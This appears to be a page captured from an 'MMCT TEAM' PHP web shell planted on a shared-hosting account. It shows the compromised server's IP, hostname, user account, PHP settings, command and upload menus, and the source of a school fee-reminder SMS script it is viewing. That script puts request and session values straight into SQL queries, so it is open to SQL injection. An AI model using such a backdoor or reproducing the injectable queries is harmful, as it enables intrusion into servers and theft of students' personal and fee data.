MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 18.221.201.67
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/Sms_Process.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 



<?php


include_once 'sms.php';
 class MainSms
    {
        public function call()
        {
            include "config/config.php";
            
            

                if (isset($_REQUEST['type']))
                {
                  if ($_REQUEST['type'] != NULL)
                
                {
                 $type=$_REQUEST['type'];
                }
                }
                else
                {
                 $type="Random";   
                }
                if (isset($_POST["a"]))
                if ($_POST["a"] != NULL)
                {
                $a=$_POST["a"];
                }

                //echo "a=$a";
//$head_id=$_SESSION["h"];
                $y=$_SESSION["c"];
                $z=$_SESSION["d"];
                



                //echo "$type<br><br>";
        if($type != "full")
            {   
                //echo "Random";
                foreach ($a as $sid ) 
                    {
                    //echo "$sid<br>";
                    $sql1="select * from `stud_basic` where `Stud_Id` = '$sid'";
                    $res1=mysqli_query($con,$sql1);
                    $ress=mysqli_fetch_array($res1);
                    $sql="SELECT sum(`Balance`) FROM `stud_basic2` WHERE `Stud_Id` = $sid";
                    $amt_res=mysqli_query($con,$sql);
                    $amt=mysqli_fetch_array($amt_res);
                    
                    $sqll="SELECT sum(`Paid`) FROM `stud_basic2` WHERE `Stud_Id` = $sid";
                    $amt_ress=mysqli_query($con,$sqll);
                    $amtt=mysqli_fetch_array($amt_ress);
                    
                    $sqlll="SELECT sum(`Total_Amount`) FROM `stud_basic2` WHERE `Stud_Id` = $sid";
                    $amt_resss=mysqli_query($con,$sqlll);
                    $amttt=mysqli_fetch_array($amt_resss);
                    
                    
                    $to = $ress['Phone']; 
                    $message=urlencode("$ress[Name] : Class :$ress[Class] Division : $ress[Division] Total Fees =$amttt[0], Paid :$amtt[0] ,Balance $amt[0] : Ignore if already Paid"); 
                                $sms     = new Sms("$api","$smsId" , "$url");
                                $dlr_url = 'https://solutionsinfini.net/dlr/trigger.php?sent={sent}&delivered={delivered}&msgid={msgid}&sid={sid}&status={status}&reference={reference}&custom1={custom1}&custom2={custom2}';
                                //echo "$message<br>";
 
                                $obj = $sms->sendSms("$to", "$message", []);
                    }
            }
        else
            {
            //$y class $z div
                        //echo "Whole";
                        $sql1="select * from `stud_basic` where `Class`='$y' and `Division`='$z'";
                        $res1=mysqli_query($con,$sql1);
                                while($res=mysqli_fetch_array($res1))
                                {
                                    $sid= $res['Stud_Id'];
                                    $sql="SELECT sum(`Balance`) FROM `stud_basic2` WHERE `Stud_Id` = $sid";
                                    $res3=mysqli_query($con,$sql);
                                    $res4=mysqli_fetch_array($res3);
                                    $to =  $res['Phone'];
                                    $message=urlencode("$res[Name] : Class :$res[Class] Division : $res[Division] Total Fees Paid : Balance  $res4[0] : Ignore if already Paid"); 
                                           $sms     = new Sms("$api","$smsId" , "$url");
                                            $dlr_url = 'https://solutionsinfini.net/dlr/trigger.php?sent={sent}&delivered={delivered}&msgid={msgid}&sid={sid}&status={status}&reference={reference}&custom1={custom1}&custom2={custom2}';
                                            $obj = $sms->sendSms("$to", "$message", []); 
                                            //echo "$message<br>";
                                } 
            }


   }
 }
$main = new MainSms();
$main->call();
?>
<script> 
            document.location="Send_Sms.php";
              </script> 


          


           
              

MMCT - 2023